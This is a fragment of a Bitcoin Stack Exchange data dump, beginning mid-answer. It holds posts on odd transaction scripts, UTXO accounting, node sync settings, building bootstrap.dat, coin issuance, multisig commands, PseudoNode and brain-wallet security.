&lt;p&gt;On November 26, 2013 &lt;a href=&quot;https://blockexplorer.com/rawtx/7caed7650c392c24e44a093f30438fe6dc9ec1154b92bedc8a561130c9c50920&quot; rel=&quot;nofollow&quot;&gt;a whole bunch of input scripts show up&lt;/a&gt; which&#xA;  &lt;a href=&quot;https://blockchain.info/tx/7caed7650c392c24e44a093f30438fe6dc9ec1154b92bedc8a561130c9c50920&quot; rel=&quot;nofollow&quot;&gt;appear to all be considered valid by blockchain.info&lt;/a&gt; but when I&#xA;  processed them I found that they still had extra data on the stack&#xA;  after the signature portion had been parsed.  This doesn't make them&#xA;  invalid, just unusual.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He continues:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On seven occasions, instead of finding the expected SIGHASH_ALL byte&#xA;  of 0x01 a SIGHASH byte of 0 was found instead.  For those transactions&#xA;  blockchain.info appears to mark them as valid, though I'm not sure why&#xA;  it is.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On 120 occasions, the SIGHASH_ALL value is found, however, it is&#xA;  preceded by a single zero byte.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An additional 45 times prior to encountering SIGHASH_ALL multiple zero&#xA;  bytes are found.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On one occasion in the blockchain, prior to finding the SIGHASH_ALL&#xA;  value there was a stream of 0x2A bytes.  Blockchain.info still flagged&#xA;  this as being a valid transaction, so I guess this is acceptable,&#xA;  though I'm not sure why.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Eleven times I found a public key signature that was just hex 0x21&#xA;  bytes long instead of the standard 0x41 value we are used to seeing.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Several thousand transactions use the PUSHDATA0 instruction in the&#xA;  front of the script, and then I couldn't fully parse all of the&#xA;  signature.  There is probably nothing wrong with this format, it's&#xA;  just not the most standard and I haven't taken it into account yet.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SIGHASH_PAY_ANY and SIGHASH_PAY_SINGLE were used like a hundred times&#xA;  or so.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Examples provided include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the first transaction in the blockchain &lt;a href=&quot;http://4f1433d6433d3ce8a877519ba9ddc310dbee96dba939aca0dbef0176a3563436/&quot; rel=&quot;nofollow&quot;&gt;which has an 'abnormal' signature&lt;/a&gt; (block #157785, DEC 17, 2010)&lt;/li&gt;&#xA;&lt;li&gt;On December 13, 2013, the blockchain got spammed with &lt;a href=&quot;https://blockchain.info/tx/cc37f75889fb8610793872707235b6548eea75d26803245b36f88ca842e9bccd&quot; rel=&quot;nofollow&quot; title=&quot;TxID cc37f75889fb8610793872707235b6548eea75d26803245b36f88ca842e9bccd&quot;&gt;a huge number of inputs which have invalid script signatures&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The next abnormal input happens on January 7, 2013, with an &lt;a href=&quot;https://blockchain.info/tx/91c8b08f305d895d6bc8f43bbdd36dcbc7f1d998e3df5e8f13dd9cdeebf15cb5&quot; rel=&quot;nofollow&quot;&gt;input script that just contains OP_1 (a true statement)&lt;/a&gt;.  This &lt;a href=&quot;https://blockchain.info/tx/5916bb41f8c05e6f60f41fb9dd9e871d5984b96b63964756854054e6dd0c6092&quot; rel=&quot;nofollow&quot;&gt;happens again on January 20, 2013.&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;On July 21, 2013 someone left an amusing text message &lt;a href=&quot;https://blockchain.info/tx/320a5c8eb5e8e0d4fc2ae48fc6f2d1c86ebe637193a61fcc9a13925d9cf96b1b&quot; rel=&quot;nofollow&quot;&gt;in their signed transaction&lt;/a&gt;.  Blockchain.info identifies this signed transaction as being of 'Escrow' type.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some other amusing Txns to note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockexplorer.com/rawtx/38df010716e13254fb5fc16065c1cf62ee2aeaed2fad79973f8a76ba91da36da&quot; rel=&quot;nofollow&quot;&gt;38df010716e13254fb5fc16065c1cf62ee2aeaed2fad79973f8a76ba91da36da&lt;/a&gt;: &lt;em&gt;I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockexplorer.com/rawtx/320a5c8eb5e8e0d4fc2ae48fc6f2d1c86ebe637193a61fcc9a13925d9cf96b1b&quot; rel=&quot;nofollow&quot;&gt;320a5c8eb5e8e0d4fc2ae48fc6f2d1c86ebe637193a61fcc9a13925d9cf96b1b&lt;/a&gt;: &lt;em&gt;All your dummy values are belong to us.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And....in this Tx's scriptSig, a meta-joke of sorts, &lt;a href=&quot;https://en.wikipedia.org/wiki/Skynet_%28Terminator%29&quot; rel=&quot;nofollow&quot;&gt;referencing Terminator's Skynet AI!&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/tx/61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4?show_adv=true&quot; rel=&quot;nofollow&quot;&gt;61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4&lt;/a&gt;: &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Skynet went online on August 4th 1997, and began to learn at a geometric rate. It became self-aware on August 29th 1997 2:14 am&#xA;  Eastern Time. On August 29th 1997 2:15 am it discovered nihilism, and&#xA;  either shut itself down due to despair, or because it was logical.&#xA;  We're not sure which.&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;On August 4th, 1998, it failed to renew its domain name, which was promptly squatted on by a link farmer pitching X10 cameras and singing&#xA;  electric fish.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;March 2015 edit&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quantabytes.com/articles/a-survey-of-bitcoin-transaction-types&quot; rel=&quot;nofollow&quot;&gt;A Survey of Bitcoin Transaction Types&lt;/a&gt; from &lt;a href=&quot;http://www.quantabytes.com/&quot; rel=&quot;nofollow&quot;&gt;QuantaBytes&lt;/a&gt; provides another great source of various Tx and historical commentary (ie first instance of a &lt;em&gt;P2SH&lt;/em&gt; Tx =  &lt;a href=&quot;http://webbtc.com/tx/9c08a4d78931342b37fd5f72900fb9983087e6f46c4a097d8a1f52c74e28eaf6.json&quot; rel=&quot;nofollow&quot;&gt;9c08a4d78931342b37fd5f72900fb9983087e6f46c4a097d8a1f52c74e28eaf6&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-03-21T04:42:24.207" LastActivityDate="2015-03-21T04:42:24.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36038" PostTypeId="2" ParentId="36025" CreationDate="2015-02-13T15:15:22.827" Score="8" Body="&lt;p&gt;A bitcoin transaction can have 1 or more inputs and 1 or more outputs. Inputs are previous transaction outputs that sent bitcoins, and outputs are instructions on where to send the bitcoins from the inputs. The total value of the outputs cannot exceed the total value of the inputs, and any leftovers (output is less than input) will be taken as a transaction fee by the miner who created the block that verifies the transaction. Also, an output can only ever be used as an input once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your example, David's 30BTC transaction is the only input, and you need an output of 20BTC to Bob's address. That leaves 10BTC in change. Typically, you would create another output back to yourself. This is called 'change'. So there will be two outputs, 20BTC to Bob and 10BTC to Alice (or maybe slightly less, providing a fee for miners and encouraging them to verify the transaction quickly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual verification is complex, but a simple explanation would be that a verify-er can traverse the entire blockchain from start to finish, picking up every output and discarding outputs as soon as they are used as an input. When he's done, he's got a list of unused outputs that could be used in future transactions. To verify transactions included in the next block, he just has to make sure the transaction has inputs that are on the list, and that there are no other transactions in the new block trying to use the same input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if David's transaction was used as input in the past, it wont be on the list. If Alive tries to be sly and create multiple transactions at the same time that use David's transaction, the miners will only include one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, once you have your list, you don't really need to traverse the blockchain from the beginning again, you just have to keep your list up to date by reading each new block and removing used outputs and adding new unused outputs. That way, you always have a list of valid inputs.&lt;/p&gt;&#xA;" OwnerUserId="23339" LastActivityDate="2015-02-13T15:15:22.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36039" PostTypeId="2" ParentId="27055" CreationDate="2015-02-13T16:59:02.457" Score="0" Body="&lt;p&gt;maxconnections=1&lt;br&gt;&#xA;listen=0&lt;br&gt;&#xA;connect={IP you want as your sync node}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's only way to guarantee it, outside of modifying source.&lt;/p&gt;&#xA;" OwnerUserId="23344" LastEditorUserId="18196" LastEditDate="2015-02-15T23:27:40.937" LastActivityDate="2015-02-15T23:27:40.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36041" PostTypeId="2" ParentId="36029" CreationDate="2015-02-13T18:12:23.733" Score="2" Body="&lt;p&gt;Recall that transactions have inputs and outputs: when an output is listed as the input of another transaction, that output is spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you go through the block chain from the beginning and make an index of unspent outputs.  For each transaction output you see, you add it to the index; for each input you see, you delete the corresponding output from the index, because it has been spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have an index of all unspent outputs, you look for those whose recipient is the address X.  Adding up the amounts of all those outputs gives you the &quot;balance&quot; of Bitcoins available to address X.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-02-13T18:12:23.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36042" PostTypeId="2" ParentId="36028" CreationDate="2015-02-13T18:17:00.813" Score="1" Body="&lt;p&gt;A transaction can have multiple inputs, so any of the scenarios you describe are possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's call David's transaction to Alice T, and its outputs T0 and T1.  Here are three ways Alice could make a transaction to achieve the desired results.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;One input: T0.  Two outputs: 5 BTC to Eve, 5 BTC to Alice.  (In this case T1 remains available for Alice to spend in some future transaction.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One input: T1.  Two outputs: 5 BTC to Eve, 15 BTC to Alice.  (T0 remains unspent.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Two inputs: T0 and T1.  Two outputs: 5 BTC to Eve, 25 BTC to Alice. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-02-13T18:17:00.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36043" PostTypeId="2" ParentId="27055" CreationDate="2015-02-13T18:39:21.077" Score="5" Body="&lt;p&gt;The syncnode concept was added in v0.8.2, to make sure we always have at least one connected peer from which we have at least once asked what their current blocks are. The name was pretty confusing, as it does not actually correspond to which peer we're downloading blocks from - just through which peer we actively seek to learn about blocks' existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v0.10.0 has a completely different synchronization mechanism (called headers-first), which does no longer have a syncnode. In fact, it downloads from all outgoing peers simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-02-13T18:39:21.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36044" PostTypeId="1" CreationDate="2015-02-13T20:46:59.693" Score="3" ViewCount="10305" Body="&lt;p&gt;I can't find information on who actually issues the bitcoins. I understand that miners generate new bitcoins but what party is responsible for issuance?&lt;/p&gt;&#xA;" OwnerUserId="23346" LastEditorUserId="5406" LastEditDate="2015-05-13T09:42:48.583" LastActivityDate="2021-04-02T04:01:53.897" Title="Who issues bitcoins and how?" Tags="|economic-theory|mining-reward|money-supply|governance|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36045" PostTypeId="2" ParentId="36044" CreationDate="2015-02-14T00:04:47.900" Score="10" Body="&lt;p&gt;the protocol allows a miner when he creates a block to send himself 25 BTC which do not have a proper source (input). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that's how those 25 BTC are created, they're bitcoins that come from nowhere. &lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2015-02-14T00:04:47.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36046" PostTypeId="2" ParentId="10381" CreationDate="2015-02-14T00:06:13.790" Score="2" Body="&lt;p&gt;Making your own bootstrap.dat is fairly simple. In windows, drop to your command prompt and use the following command. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Copy /b blk00000.dat+blk00001.dat+blk00002.dat bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll want to keep going with the + blk*.dat files until you reach the last one. To make things easier for you, just run a batch file which can take care of adding them all without having to input each blk*.dat file. Simply copy and paste the code below into a text file and name it something like Create_Bootstrap.cmd and run it from your /blocks folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off &#xA;setlocal enableDelayedExpansion &#xA;&#xA;set BITCOINDIR=%APPDATA%\bitcoin\blocks&#xA;for /F %%x in ('dir /B/D/ON %BITCOINDIR%\blk*.*') do (&#xA;  IF NOT [!B!] == [] set B=!B!+&#xA;  set FILENAME=%BITCOINDIR%\%%x&#xA;  set B=!B!&quot;!FILENAME!&quot;&#xA;)&#xA;copy /b %B% bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or just use &quot;copy /b blk*.dat bootstrap.dat&quot; &lt;/p&gt;&#xA;" OwnerUserId="14381" LastEditorUserId="2306" LastEditDate="2016-02-05T01:48:22.493" LastActivityDate="2016-02-05T01:48:22.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36047" PostTypeId="2" ParentId="36044" CreationDate="2015-02-14T02:16:21.223" Score="5" Body="&lt;p&gt;No one entity overseas the issuance of block rewards. This is one of several revolutionary concepts behind Bitcoin. (There is absolutely no Federal Reserve.) The Bitcoin Protocol and its distributed blockchain consensus mechanism is what effectively awards miners solving a very difficult hashing puzzle. The solution block groups a number of transactions together to be added to the Blockchain, and the preponderance of other &quot;full node&quot; block chains must add that solution block to their records in order for it to be &quot;recognized&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first transaction in such a block is called the &quot;coinbase transaction.&quot; It is paid to the miner that successfully added a block to the Blockchain. It includes the current 25 BTC award and mining transaction fees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solo mining is accomplished by a solo miner connecting their miner (e.g., bfgminer, cgminer) to their own bitcoin node to advertise on the Bitcoin Network a solution has been found. Similarly for mining pools, they manage one or more full nodes that advertise when the pool has discovered a solution. Mining pools ensure the multiple outputs of a coinbase transaction pays its members their dues based upon shares shares of work they have successfully completed, hopefully with fair accounting. Miners can't spend their booty until their block is 100+ blocks deep in the Blockchain.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-02-14T02:16:21.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36048" PostTypeId="2" ParentId="10381" CreationDate="2015-02-14T02:40:13.947" Score="-1" Body="&lt;p&gt;It is somewhat intuitive what files need to be copy and where once you have a full node built.  What is not so intuitive is how to bootstrap a full node before you have built your first full node. You first need to know where the files need to be placed for the various '&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;OSes&lt;/a&gt;'. I'm not sure if there are little or big endian issues with copying the raw Blockchain node files between different OSes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach is to let the protocol handle the problem. Secondary and tertiary nodes build very quickly if they a on your own high bandwidth LAN.  Just point a secondary node (by tweaking its bitcoind.conf file) to the primary node that is already built using the &quot;connect=Your_IPv4_LAN_Address&quot;. Such builds move very quickly... You might find it to be faster than writing the ledger to a thumb drive and copying it to another computer.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="120" LastEditDate="2015-02-14T12:48:42.200" LastActivityDate="2015-02-14T12:48:42.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36049" PostTypeId="2" ParentId="36044" CreationDate="2015-02-14T05:02:42.853" Score="1" Body="&lt;p&gt;I suppose the miner does or whoever constructs the block header that's being hashed. When you construct the block, there's a special transaction called a coinbase transaction where you're allowed to assign bitcoins to yourself(or any bitcoin address of your choosing as output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other mines and nodes in the network will accept this transaction in the block because you also provide proof-of-work behind it.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2015-02-14T05:02:42.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36052" PostTypeId="1" CreationDate="2015-02-14T06:04:41.673" Score="3" ViewCount="505" Body="&lt;p&gt;From Vitalik Buterin's post regarding &quot;&lt;a href=&quot;https://blog.ethereum.org/2014/06/19/mining/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;On Mining&lt;/strong&gt;&lt;/a&gt;&quot;, he mentions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The second approach is somewhat different: create a mechanism for&#xA;  &lt;em&gt;generating new hash functions&lt;/em&gt;, and make the space of functions that it&#xA;  generates so &lt;em&gt;large&lt;/em&gt; that the kind of computer best suited to processing&#xA;  them is by definition completely generalized, ie. a CPU. This approach&#xA;  gets close to being “provably ASIC resistant” and thus more&#xA;  future-proof, rather than focusing on specific aspects like memory...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is how would such a mechanism work and how might it be implemented or realized?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's unclear to me is how can you have a PoW mechanism that's able to just create new never-before-seen hash functions on its own and somehow have all the nodes on the network derive this hashing algorithm in an independent, trustless manner? A second major concern is how can you be sure that this derived algorithm is even cryptographically secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, I found a similar question &lt;a href=&quot;https://bitcoin.stackexchange.com/q/35679/963&quot;&gt;here&lt;/a&gt;. But there is a crucial difference: that question is in regards to picking from a &lt;em&gt;finite set&lt;/em&gt; of predefined cryptographically vetted hash functions and changing their call orders dynamically. The method Vitalik is suggesting, the mechanism is deriving a new hash function that never existed before and using that as the PoW function for a given block at that point in time.&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-04-10T10:02:47.790" Title="ASIC resistant PoW mechanism that generates new hash functions. How does that work?" Tags="|asic|proof-of-work|algorithms|altcoin-development|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36053" PostTypeId="1" AcceptedAnswerId="36054" CreationDate="2015-02-14T14:07:54.307" Score="2" ViewCount="2669" Body="&lt;p&gt;What is the functional difference between &lt;em&gt;createmultisig&lt;/em&gt; and &lt;em&gt;addmultisigaddress&lt;/em&gt; in bitcoincore (v 0.10)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, I understand how both function. ie. &lt;code&gt;multisigCmd n [&quot;address1 public key as hex&quot;, &quot;address in Base58 format&quot;, &quot;more JSON entries...&quot;]&lt;/code&gt;  (where &lt;code&gt;n&lt;/code&gt; is the n of m value, and a JSON list of eiher hex pubkeys or Base58 addresses follows). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the output for the &lt;em&gt;multisigCmd&lt;/em&gt; (&lt;em&gt;createmultisig&lt;/em&gt; and &lt;em&gt;addmultisigaddress&lt;/em&gt;, respectively) is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;createmultisig:&lt;/strong&gt; &lt;code&gt;==&amp;gt; 3outputEqualsPay2scriptBTCAddress&lt;/code&gt;, &lt;code&gt;script as hex&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;addmultisigaddress:&lt;/strong&gt; &lt;code&gt;==&amp;gt; 3outputEqualsPay2scriptBTCAddress&lt;/code&gt; (&lt;em&gt;no script!&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both commands give identical output addresses (ie &lt;code&gt;3outputEqualsPay2scriptBTCAddress&lt;/code&gt;) when the same JSON data input is used. So the difference, really, is only that the former outputs the redeeming hex script. Am I missing something? Why the need for 2 commands rather than, for example, a single command with a &lt;code&gt;-hex_script_output&lt;/code&gt; flag?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="121614" LastEditDate="2022-06-04T16:40:52.037" LastActivityDate="2022-06-04T16:40:52.037" Title="Difference between createmultisig and addmultisigaddress?" Tags="|bitcoin-core|multi-signature|raw|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36054" PostTypeId="2" ParentId="36053" CreationDate="2015-02-14T14:51:22.950" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#createmultisig&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;createmultisig&lt;/code&gt;&lt;/a&gt; creates a P2SH multisig address for use in raw transactions.  It outputs the redeem script because you'll need that to spend any payments sent to the P2SH address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#addmultisigaddress&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;addmultisigaddress&lt;/code&gt;&lt;/a&gt; adds a P2SH multisig address to your Bitcoin Core wallet, allowing you to track and spend payments received by that address.  It doesn't output the redeem script because Bitcoin Core stores that for you.  (You can retrieve it later with &lt;a href=&quot;https://bitcoin.org/en/developer-reference#validateaddress&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;validateaddress&lt;/code&gt;&lt;/a&gt;.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-02-14T14:51:22.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36055" PostTypeId="2" ParentId="1447" CreationDate="2015-02-14T18:09:33.433" Score="1" Body="&lt;p&gt;Try this Chinese opensource project &lt;a href=&quot;http://www.peat.io/&quot; rel=&quot;nofollow&quot;&gt;http://www.peat.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They've released their source code under the MIT License, and claim to have a fully functional platform.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="5406" LastEditDate="2015-02-14T19:34:47.810" LastActivityDate="2015-02-14T19:34:47.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36056" PostTypeId="1" AcceptedAnswerId="36061" CreationDate="2015-02-15T00:26:43.807" Score="0" ViewCount="242" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2vv8m6/pseudonode_when_is_a_full_node_a_full_node/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pseudo-Node&lt;/a&gt; is discussed here on Reddit's &lt;em&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;/r/Bitcoin&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Essentially it functions to relay calls from connected nodes in a random fashion.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This was an experiment into how easily can full nodes be &amp;quot;faked&amp;quot;.  In conclusion: very easily.&lt;/p&gt;&#xA;&lt;p&gt;A proof-of-concept implementation (&amp;amp; documentation) is available here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/basil00/PseudoNode&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/basil00/PseudoNode&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To the network, PseudoNode appears to be a normal full node.  It relays invs, txs, blocks, etc. just like a full node.  In reality, PseudoNode is a type of p2p proxy server.  It merely forwards any request it cannot handle (getdata, getheaders, etc.) to neighboring nodes.  For more information see the above links.&lt;/p&gt;&#xA;&lt;p&gt;PseudoNode uses no disk (no blockchain download required), uses little CPU/RAM, and uses less network resources (bandwidth) than a normal full node.  A PseudoNode can &amp;quot;sync&amp;quot; with the network within seconds.&lt;/p&gt;&#xA;&lt;p&gt;PseudoNode demonstrates some of the problems with incentivized full nodes (including the &amp;quot;Bitnodes Incentive Program&amp;quot;).  It is difficult to prove that a full node is really a full node.&lt;/p&gt;&#xA;&lt;p&gt;The implementation mostly has novelty/proof-of-concept value.  It is not intended to be &amp;quot;production&amp;quot; software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And the &lt;a href=&quot;https://github.com/simcity4242/PseudoNode/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Does PseudoNode harm the network?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Short answer: No.&lt;/p&gt;&#xA;&lt;p&gt;Long answer: Not unless the number of PseudoNodes significantly overwhelms the number of normal full nodes. Otherwise, if PseudoNode can connect to at least some good nodes (default 2), then will PseudoNode will acts just like a normal node and contributes network bandwidth.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can PseudoNode cause the network to fork?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;No, PseudoNode just follows what other nodes are doing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can PseudoNode steal coins?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can PseudoNodes be banned from the network?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Not easily. Requests that PseudoNode cannot handle directly can always be forwarded to other (cooperative) full nodes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This seems incredibly reckless in terms of attack vectors to me. Obviously a balance between the pros and cons needs assessing, and since its value is &amp;quot;novelty&amp;quot; (self-described by the developer), several cons seem immediately evident:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Latency will effectively increase blockchain download times such that &lt;code&gt;new latency = original latency * performance decrease %&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Nefarious pseudonode could throttle latency to just above the threshold of the nodes enforcing blacklisting (ie &lt;code&gt;throttled latency&lt;/code&gt; ~&amp;gt; &lt;code&gt;cutoff latency&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;An increased percentage of nefarious nodes could possibly execute a Sybil Attack (?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;2 related questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What other attack vectors (in high-level terms) and their&#xA;repercussions could be expected from Pseudo-Nodes?&lt;/li&gt;&#xA;&lt;li&gt;Is there any feasible contingencies in the protocol to delineate between a PN and a node? For example, would different Bitcoincore versions identify PNs (or a simple modification to the protocol)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-02-15T17:29:26.573" Title="Pseudo-Node and putative attack vectors on the network" Tags="|security|protocol|network|attack|nodes|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36057" PostTypeId="2" ParentId="32140" CreationDate="2015-02-15T02:11:55.893" Score="4" Body="&lt;p&gt;BIP38 wallets are significantly more secure and are resistant to brute-force attacks when a decent passphrase is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally the term &quot;Brain Wallet&quot; refers to one in which the private key is derived from a phrase you make up.  These have been shown to be &lt;a href=&quot;http://insecurety.net/?p=866&quot; rel=&quot;nofollow noreferrer&quot;&gt;insecure&lt;/a&gt; because humans are bad at entropy and generally anything easy enough to remember is &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1ptuf3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;not safe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: modern BIP39 wallets will generate a 12, 18 or 24 word &quot;seed&quot; phrase from which unlimited keys can be derived.  These may &lt;strong&gt;look&lt;/strong&gt; like a brain wallet, but are completely safe as long as they were created securely. Remembering these words can be challenging though, so generally better to write them somewhere and store securely.&lt;/p&gt;&#xA;" OwnerUserId="13440" 